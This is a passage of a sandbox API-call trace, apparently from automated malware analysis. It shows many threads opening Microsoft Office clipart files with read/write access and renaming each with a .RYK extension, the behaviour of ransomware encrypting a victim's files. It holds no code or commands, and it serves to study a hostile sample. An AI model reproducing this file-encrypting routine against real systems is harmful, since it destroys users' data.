	[0239.724] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152702.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152702.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1998
	os_tid = 0x24dc

	[0239.496] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF", dwFileAttributes=0x80) returned 0
	[0239.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.723] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.723] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152704.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152704.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1999
	os_tid = 0x24e0

	[0239.497] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF", dwFileAttributes=0x80) returned 0
	[0239.498] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.498] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.498] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152708.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152708.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2000
	os_tid = 0x24e4

	[0239.500] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF", dwFileAttributes=0x80) returned 0
	[0239.588] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.721] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.721] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152716.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152716.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2001
	os_tid = 0x24e8

	[0239.549] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF", dwFileAttributes=0x80) returned 0
	[0239.731] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.731] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.731] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152722.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152722.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2002
	os_tid = 0x24ec

	[0239.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF", dwFileAttributes=0x80) returned 0
	[0239.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.781] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.781] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152876.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152876.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2003
	os_tid = 0x24f0

	[0239.550] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF", dwFileAttributes=0x80) returned 0
	[0239.762] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.797] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.797] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152878.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152878.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2004
	os_tid = 0x24f4

	[0239.595] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF", dwFileAttributes=0x80) returned 0
	[0239.733] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.828] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.828] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152882.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152882.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2005
	os_tid = 0x24f8

	[0239.597] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF", dwFileAttributes=0x80) returned 0
	[0239.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.827] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.827] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152884.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152884.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2006
	os_tid = 0x24fc

	[0239.599] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF", dwFileAttributes=0x80) returned 0
	[0239.734] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.825] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.825] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152890.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152890.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2007
	os_tid = 0x2500

	[0239.600] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF", dwFileAttributes=0x80) returned 0
	[0239.600] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.600] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.601] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152892.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152892.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2008
	os_tid = 0x2504

	[0239.602] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF", dwFileAttributes=0x80) returned 0
	[0239.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.824] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.824] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152894.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152894.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2009
	os_tid = 0x2508

	[0239.603] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF", dwFileAttributes=0x80) returned 0
	[0239.603] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.603] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.603] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0152898.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0152898.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2010
	os_tid = 0x250c

	[0239.605] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF", dwFileAttributes=0x80) returned 0
	[0239.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.823] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.823] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153047.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153047.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2011
	os_tid = 0x2510

	[0239.606] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF", dwFileAttributes=0x80) returned 0
	[0239.735] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.822] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.822] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153087.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153087.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2012
	os_tid = 0x2514

	[0239.607] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF", dwFileAttributes=0x80) returned 0
	[0239.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.821] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.821] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153089.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153089.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2013
	os_tid = 0x2518

	[0239.608] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF", dwFileAttributes=0x80) returned 0
	[0239.736] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.819] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.819] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153091.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153091.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2014
	os_tid = 0x251c

	[0239.610] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF", dwFileAttributes=0x80) returned 0
	[0239.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.818] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.818] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153093.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153093.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2015
	os_tid = 0x2520

	[0239.611] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF", dwFileAttributes=0x80) returned 0
	[0239.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.816] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.816] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153095.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153095.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2016
	os_tid = 0x2524

	[0239.612] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF", dwFileAttributes=0x80) returned 0
	[0239.737] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.815] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.815] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153265.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153265.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2017
	os_tid = 0x2528

	[0239.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF", dwFileAttributes=0x80) returned 0
	[0239.813] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.813] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.814] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153273.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153273.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2018
	os_tid = 0x252c

	[0239.738] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF", dwFileAttributes=0x80) returned 0
	[0239.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.812] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.812] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153299.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153299.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2019
	os_tid = 0x2530

	[0239.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF", dwFileAttributes=0x80) returned 0
	[0239.810] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.810] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.810] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153302.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153302.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2020
	os_tid = 0x2534

	[0239.739] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF", dwFileAttributes=0x80) returned 0
	[0239.808] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.809] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.809] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153305.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153305.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2021
	os_tid = 0x2538

	[0239.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF", dwFileAttributes=0x80) returned 0
	[0239.871] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153307.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153307.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2022
	os_tid = 0x253c

	[0239.740] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF", dwFileAttributes=0x80) returned 0
	[0239.805] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.806] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0239.806] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153313.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153313.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 2023
	os_tid = 0x2540

	[0239.741] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF", dwFileAttributes=0x80) returned 0
	[0239.870] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0153398.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0153398.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0239.926] CloseHandle (hObject=0xffffffffffffffff) returned 0
